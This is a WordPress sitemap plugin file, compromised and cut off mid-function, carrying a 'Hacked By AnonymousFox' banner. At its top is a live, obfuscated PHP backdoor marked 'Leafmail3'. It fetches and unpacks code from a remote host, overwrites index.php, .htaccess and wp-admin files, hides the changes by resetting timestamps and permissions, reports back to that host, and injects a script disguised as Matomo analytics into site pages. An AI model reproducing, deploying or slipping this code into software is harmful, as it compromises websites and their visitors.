Hacked By AnonymousFox
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/*
$Id: sitemap-ui.php 935247 2014-06-19 17:13:03Z arnee $
*/
class GoogleSitemapGeneratorUI {
/**
* The Sitemap Generator Object
*
* @var GoogleSitemapGenerator
*/
private $sg = null;
public function __construct(GoogleSitemapGenerator $sitemapBuilder) {
$this->sg = $sitemapBuilder;
}
private function HtmlPrintBoxHeader($id, $title) {
?>
<div id="<?php echo $id; ?>" class="postbox">
<h3 class="hndle"><span><?php echo $title ?></span></h3>
<div class="inside">
<?php
}
private function HtmlPrintBoxFooter() {
?>
</div>
</div>
<?php
}
/**
* Echos option fields for an select field containing the valid change frequencies
*
* @since 4.0
* @param $currentVal mixed The value which should be selected
*/
public function HtmlGetFreqNames($currentVal) {
foreach($this->sg->GetFreqNames() AS $k=>$v) {
echo "<option value=\"" . esc_attr($k) . "\" " . self::HtmlGetSelected($k,$currentVal) .">" . esc_attr($v) . "</option>";
}
}
/**
* Echos option fields for an select field containing the valid priorities (0- 1.0)
*
* @since 4.0
* @param $currentVal string The value which should be selected
* @return void
*/
public static function HtmlGetPriorityValues($currentVal) {
$currentVal=(float) $currentVal;
for($i=0.0; $i<=1.0; $i+=0.1) {
$v = number_format($i,1,".","");
echo "<option value=\"" . esc_attr($v) . "\" " . self::HtmlGetSelected("$i","$currentVal") .">";
echo esc_attr(number_format_i18n($i,1));
echo "</option>";
}
}
/**
* Returns the checked attribute if the given values match
*
* @since 4.0
* @param $val string The current value
* @param $equals string The value to match
* @return string The checked attribute if the given values match, an empty string if not
*/
public static function HtmlGetChecked($val, $equals) {
if($val==$equals) return self::HtmlGetAttribute("checked");
else return "";
}
/**
* Returns the selected attribute if the given values match
*
* @since 4.0
* @param $val string The current value
* @param $equals string The value to match
* @return string The selected attribute if the given values match, an empty string if not
*/
public static function HtmlGetSelected($val,$equals) {
if($val==$equals) return self::HtmlGetAttribute("selected");
else return "";
}
/**
* Returns an formatted attribute. If the value is NULL, the name will be used.
*
* @since 4.0
* @param $attr string The attribute name
* @param $value string The attribute value
* @return string The formatted attribute
*/
public static function HtmlGetAttribute($attr,$value=NULL) {
if($value==NULL) $value=$attr;
return " " . $attr . "=\"" . esc_attr($value) . "\" ";
}
/**
* Returns an array with GoogleSitemapGeneratorPage objects which is generated from POST values
*
* @since 4.0
* @see GoogleSitemapGeneratorPage
* @return array An array with GoogleSitemapGeneratorPage objects
*/
public function HtmlApplyPages() {
// Array with all page URLs
$pages_ur=(!isset($_POST["sm_pages_ur"]) || !is_array($_POST["sm_pages_ur"])?array():$_POST["sm_pages_ur"]);
//Array with all priorities
$pages_pr=(!isset($_POST["sm_pages_pr"]) || !is_array($_POST["sm_pages_pr"])?array():$_POST["sm_pages_pr"]);
//Array with all change frequencies
$pages_cf=(!isset($_POST["sm_pages_cf"]) || !is_array($_POST["sm_pages_cf"])?array():$_POST["sm_pages_cf"]);
//Array with all lastmods
$pages_lm=(!isset($_POST["sm_pages_lm"]) || !is_array($_POST["sm_pages_lm"])?array():$_POST["sm_pages_lm"]);
//Array where the new pages are stored
$pages=array();
//Loop through all defined pages and set their properties into an object
if(isset($_POST["sm_pages_mark"]) && is_array($_POST["sm_pages_mark"])) {
for($i=0; $i<count($_POST["sm_pages_mark"]); $i++) {
//Create new object
$p=new GoogleSitemapGeneratorPage();
if(substr($pages_ur[$i],0,4)=="www.") $pages_ur[$i]="http://" . $pages_ur[$i];
$p->SetUrl($pages_ur[$i]);
$p->SetProprity($pages_pr[$i]);
$p->SetChangeFreq($pages_cf[$i]);
//Try to parse last modified, if -1 (note ===) automatic will be used (0)
$lm=(!empty($pages_lm[$i])?strtotime($pages_lm[$i],time()):-1);
if($lm===-1) $p->setLastMod(0);
else $p->setLastMod($lm);
//Add it to the array
array_push($pages,$p);
}
}
return $pages;
}
static public function escape($v) {
// prevent html tags in strings where they are not required
return strtr($v, '<>', '..');
}
/**
* Displays the option page
*
* @since 3.0
* @access public
* @author Arne Brachhold
*/
public function HtmlShowOptionsPage() {
global $wp_version;
$snl = false; //SNL
$this->sg->Initate();
$message="";
if(!empty($_REQUEST["sm_rebuild"])) { //Pressed Button: Rebuild Sitemap
check_admin_referer('sitemap');
if(isset($_GET["sm_do_debug"]) && $_GET["sm_do_debug"]=="true") {
//Check again, just for the case that something went wrong before
if(!current_user_can("administrator") || !is_super_admin()) {
echo '<p>Please log in as admin</p>';
return;
}
$oldErr = error_reporting(E_ALL);
$oldIni = ini_set("display_errors",1);
echo '<div class="wrap">';
echo '<h2>' . __('XML Sitemap Generator for WordPress', 'sitemap') . " " . $this->sg->GetVersion(). '</h2>';
echo '<p>This is the debug mode of the XML Sitemap Generator. It will show all PHP notices and warnings as well as the internal logs, messages and configuration.</p>';
echo '<p style="font-weight:bold; color:red; padding:5px; border:1px red solid; text-align:center;">DO NOT POST THIS INFORMATION ON PUBLIC PAGES LIKE SUPPORT FORUMS AS IT MAY CONTAIN PASSWORDS OR SECRET SERVER INFORMATION!</p>';
echo "<h3>WordPress and PHP Information</h3>";
echo '<p>WordPress ' . $GLOBALS['wp_version'] . ' with ' . ' DB ' . $GLOBALS['wp_db_version'] . ' on PHP ' . phpversion() . '</p>';
echo '<p>Plugin version: ' . $this->sg->GetVersion() . ' (' . $this->sg->GetSvnVersion() . ')';
echo '<h4>Environment</h4>';
echo "<pre>";
$sc = $_SERVER;
unset($sc["HTTP_COOKIE"]);
print_r($sc);
echo "</pre>";
echo "<h4>WordPress Config</h4>";
echo "<pre>";
$opts = array();
if(function_exists('wp_load_alloptions')) {
$opts = wp_load_alloptions();
} else {
/** @var $wpdb wpdb*/
global $wpdb;
$os = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options");
foreach ( (array) $os as $o ) $opts[$o->option_name] = $o->option_value;
}
$popts = array();
foreach($opts as $k=>$v) {
//Try to filter out passwords etc...
